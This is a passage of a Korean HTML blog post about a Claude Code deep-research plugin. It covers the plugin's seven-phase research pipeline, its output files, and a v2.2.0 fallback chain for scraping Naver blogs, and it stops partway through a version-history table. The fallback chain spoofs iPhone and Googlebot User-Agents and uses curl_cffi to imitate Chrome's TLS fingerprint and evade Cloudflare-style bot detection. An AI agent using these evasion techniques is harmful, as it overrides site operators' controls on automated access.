&lt;!-- 섹션 3: 7단계 파이프라인 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Deep Research 7단계 파이프라인&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;deep-research&lt;/code&gt; 플러그인의 핵심은 &lt;b&gt;7단계 멀티에이전트 리서치 파이프라인&lt;/b&gt;이다. 검색과 요약뿐 아니라 출처 삼각검증과 할루시네이션 방지까지 파이프라인에 포함되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;각 단계별 설명&lt;/h3&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 1: 질문 범위 설정 (Question Scoping)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;AskUserQuestion&lt;/code&gt; UI를 통해 인터랙티브하게 리서치 범위를 확정한다. 출력 형식, 대상 독자, 선호 출처 유형 등을 사전에 물어본다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 2: 검색 계획 수립 (Retrieval Planning)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주제를 3~5개 하위 토픽으로 분해하고, 각각에 맞는 검색 쿼리를 생성한다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;쿼리에는 항상 현재 연도가 자동 추가&lt;/b&gt;&lt;/span&gt;되어 최신 정보를 우선한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 3: 병렬 쿼리 실행 (Iterative Querying)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;백그라운드 에이전트들이 웹, 학술, 기술 자료를 &lt;b&gt;동시에 병렬 검색&lt;/b&gt;한다. 이 단계에서 v2.2.0의 Tier 2.5 폴백이 실행된다 (4장에서 상세 설명).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 4: 출처 삼각검증 (Source Triangulation)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 주장은 반드시 &lt;b&gt;2개 이상의 독립적 출처&lt;/b&gt;로 검증한다. 단일 출처의 주장은 검증 불가(Unverified) 태그가 붙는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 5: 지식 통합 (Knowledge Synthesis)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트들이 수집한 정보를 하나로 합친다. 같은 내용이 여러 출처에서 나오면 중복을 제거하고, 출처끼리 내용이 엇갈리면 그 충돌을 명시한 채 보고서에 반영한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 6: 품질 보증 (Quality Assurance)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;할루시네이션 체크, 인용 검증, 완성도 검토를 수행한다. 검증되지 않은 수치나 주장은 명시적으로 표시된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Phase 7: 출력 패키징 (Output Packaging)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;최종 보고서, 참고문헌, 선택적 인터랙티브 HTML 웹사이트를 생성한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;출력 파일 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;리서치 결과는 아래 폴더 구조로 저장된다. 세션 상태가 저장되어 중간에 중단해도 재개할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;RESEARCH/{주제}_{타임스탬프}/
├── state.json                    # 세션 상태 (재개용)
├── README.md                     # 리서치 개요
├── artifacts/                    # 중간 산출물
│   ├── research_plan.json       # 리서치 계획
│   ├── agent_results/           # 에이전트 수집 결과
│   └── drafts/                  # 초안
├── outputs/
│   ├── 00_executive_summary.md  # 핵심 요약
│   ├── 01_full_report/          # 전체 보고서
│   ├── 02_appendices/           # 부록
│   └── comparison_data.json
├── sources/
│   ├── sources.jsonl            # 출처 메타데이터
│   ├── bibliography.md          # 참고문헌
│   └── quality_report.md        # 품질 보고서
└── website/                      # 인터랙티브 HTML (선택)
    ├── index.html
    ├── styles.css
    └── script.js&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: v2.2.0 네이버 블로그 접근 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. v2.2.0 핵심 업데이트: 네이버 블로그 접근&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 AI는 네이버 블로그를 못 읽나?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;네이버 블로그(&lt;code&gt;blog.naver.com&lt;/code&gt;)의 PC 버전은 봇 접근이 어려운 구조를 가지고 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;User-Agent 검사:&lt;/b&gt; 일반적인 봇/크롤러 UA를 차단한다 (tool_strategy.md에서 &quot;UA 차단 우회&quot;를 Step 1으로 제시)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;iframe 구조:&lt;/b&gt; PC 버전의 실제 콘텐츠가 &lt;code&gt;mainFrame&lt;/code&gt; iframe 내부에 있어 단순 HTML 파싱으로는 내용을 얻기 어렵다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;JavaScript 의존:&lt;/b&gt; 콘텐츠 일부가 클라이언트 JavaScript로 렌더링된다. 단, 모바일 버전(&lt;code&gt;m.blog.naver.com&lt;/code&gt;)은 상대적으로 단순한 HTML 구조로 curl 접근이 가능하다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고: TLS 핑거프린트 차단&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;네이버 블로그 자체가 TLS 핑거프린트로 차단하는 것은 확인되지 않았다. tool_strategy.md에서 TLS 핑거프린트 우회(curl_cffi)는 &lt;b&gt;Cloudflare 등 고급 봇 탐지 서비스&lt;/b&gt;가 적용된 사이트를 위한 것이다. 네이버 블로그에는 주로 모바일 UA 위장(Step 1)과 RSS(Step 2)가 유효하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;결과적으로 Claude Code의 기본 &lt;code&gt;WebFetch&lt;/code&gt; 도구로는 네이버 블로그 본문을 제대로 가져오지 못했다. 한국어 기술 정보 중 상당량이 네이버 블로그에 있다 보니, AI 리서치에서 자주 공백이 생기는 지점이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Tool 전략의 Tier 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.2.0은 &lt;code&gt;tool_strategy.md&lt;/code&gt; 파일에 사이트 접근 전략을 계층화했다. 빠르고 간단한 방법을 먼저 시도하고, 실패하면 더 강력한 방법으로 단계적으로 넘어간다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tier 1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Perplexity MCP, Firecrawl MCP, Google Search MCP, Exa MCP&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 설치 시 우선 사용. 네이버 블로그 포함 대부분 사이트 접근 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tier 2&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WebSearch + WebFetch (기본 내장)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 미설치 시 기본 동작. 티스토리, 브런치 등 일반 사이트에서 동작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tier 2.5 ★ 신규&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;6단계 폴백 체인&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2에서 막힌 사이트를 순차적으로 우회 (네이버 블로그 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Tier 2.5 폴백 6단계 체인 상세&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이것이 v2.2.0의 핵심이다. 접근이 차단된 사이트를 만나면 아래 6단계를 순서대로 시도한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 1: 모바일 URL + iPhone User-Agent&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;네이버 블로그 URL을 모바일 버전으로 변환하고, iPhone Safari User-Agent 헤더와 한국어 &lt;code&gt;Accept-Language&lt;/code&gt;를 설정해서 curl 요청을 보낸다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# blog.naver.com/{ID}/{NO}
#   &amp;rarr; m.blog.naver.com/PostView.naver?blogId={ID}&amp;amp;logNo={NO}
# 응답에서 se-text-paragraph CSS 클래스 추출&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;모바일 버전의 차이&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;네이버 블로그 PC 버전(&lt;code&gt;blog.naver.com&lt;/code&gt;)은 iframe 구조로 본문이 숨겨져 있지만, 모바일 버전(&lt;code&gt;m.blog.naver.com&lt;/code&gt;)은 상대적으로 간단한 HTML 구조를 사용해 텍스트 추출이 용이하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 2: RSS 피드 활용&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;네이버 블로그는 블로그 단위로 RSS 피드를 제공한다. API 키 없이 무료로 최대 50개 포스트의 제목, 링크, 본문 요약(최대 300자)을 가져올 수 있다. 단, RSS 활성화 여부는 블로그마다 다르며, 비활성화된 블로그는 빈 피드를 반환한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;https://rss.blog.naver.com/{BLOG_ID}.xml
# 최근 50개 포스트, 제목 + 링크 + 300자 요약 반환&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 3: OGP 메타 태그 추출&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Googlebot User-Agent를 사용해 페이지의 &lt;code&gt;&amp;lt;meta property=&quot;og:...&quot;&amp;gt;&lt;/code&gt; 태그에서 최소한 제목과 설명을 추출한다. 본문 전체는 얻지 못하더라도 키워드 파악에 활용된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 4: 구글 캐시 / Wayback Machine&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google 캐시(&lt;code&gt;webcache.googleusercontent.com&lt;/code&gt;)와 인터넷 아카이브(&lt;code&gt;web.archive.org&lt;/code&gt;)의 캐시 버전을 시도한다. 단, Google은 2024년 2월 캐시 링크 제거를 발표하고 9월에 완전 종료했으므로 &lt;code&gt;webcache.googleusercontent.com&lt;/code&gt;은 현재 대부분 접근 불가 상태일 수 있다. Wayback Machine이 실질적인 폴백 역할을 하며, 네이버처럼 iframe 기반 사이트는 아카이브에서도 본문 추출에 실패할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 5: curl_cffi (TLS 핑거프린트 우회)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Python 라이브러리 &lt;code&gt;curl_cffi&lt;/code&gt;를 사용한다. 이 라이브러리는 Chrome 브라우저의 &lt;b&gt;TLS 핑거프린트를 그대로 모방&lt;/b&gt;해서 Cloudflare와 같은 고급 봇 탐지 시스템을 우회한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;pip install curl-cffi  # Python 3.10+ 필요&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;curl_cffi가 필요한 이유&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 Python requests나 curl은 TLS 핑거프린트에서 일반적인 CLI 패턴을 보여 봇으로 탐지된다. &lt;code&gt;curl_cffi&lt;/code&gt;는 실제 Chrome 브라우저와 동일한 TLS/JA3 핑거프린트를 생성해 이를 우회한다. PyPI 패키지명은 &lt;code&gt;curl-cffi&lt;/code&gt;(하이픈)이며 &lt;b&gt;Python 3.10 이상&lt;/b&gt;이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;Step 6: Playwright MCP (최후 수단)&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 강력하지만 가장 느린 방법이다. &lt;b&gt;실제 브라우저를 자동화&lt;/b&gt;해서 JavaScript 렌더링까지 완전히 처리한다. SPA 사이트라면 거의 모든 경우에 콘텐츠를 가져올 수 있다. Playwright MCP가 설치된 경우에만 사용 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP 설치 명령어:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;claude mcp add playwright npx @playwright/mcp@latest&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;폴백 동작 및 태그 처리&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Tier 2.5 폴백으로 수집한 소스에는 &lt;code&gt;via_fallback&lt;/code&gt; 태그가 출처 신뢰도 메타데이터에 자동으로 추가된다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Playwright MCP가 없을 때:&lt;/b&gt; Step 6을 건너뛰고 계속 진행한다. 오류나 세션 중단은 없다.&lt;br /&gt;&lt;b&gt;모든 폴백(1~6단계)이 실패할 때:&lt;/b&gt; 해당 URL을 &lt;code&gt;sources/failed_urls.txt&lt;/code&gt;에 기록하고, URL에서 키워드를 추출해 새로운 WebSearch를 자동 실행해 대체 출처를 탐색한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도메인별 라우팅 테이블&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;v2.2.0의 &lt;code&gt;tool_strategy.md&lt;/code&gt;에는 주요 한국 사이트에 대한 라우팅이 명시되어 있다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;도메인&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;전략&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;blog.naver.com&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모바일 URL + iPhone UA &amp;rarr; RSS&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2.5 대표 케이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;*.tistory.com&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WebFetch (정상 동작) 또는 RSS&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2로 해결 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;brunch.co.kr&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WebFetch (정상 동작)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2로 해결 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;*.naver.com&lt;/code&gt; (기타 서브도메인)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Playwright MCP&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;완전한 브라우저 자동화 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;linkedin.com&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WebSearch &amp;rarr; WebFetch&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2로 해결 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;페이월 사이트&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Wayback Machine &amp;rarr; 대안 출처 검색 (Google Cache는 2024년 종료)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;완전 우회 불가, 대안 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 버전 히스토리 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 버전 히스토리&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;deep-research-kit&lt;/code&gt;은 약 한 달 사이에 꾸준한 업데이트가 있었다. 아래 날짜는 저장소 CHANGELOG.md 기준이며, 실제 git 커밋 날짜와는 다를 수 있다 (v2.2.0은 일치).&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 변경사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;1.0.0&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2026-02-23&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;최초 릴리스. AI 기반 딥 리서치 스킬, 로컬 저장소에 리서치 결과 자동 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;1.0.1&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2026-02-24&lt;/td&gt;
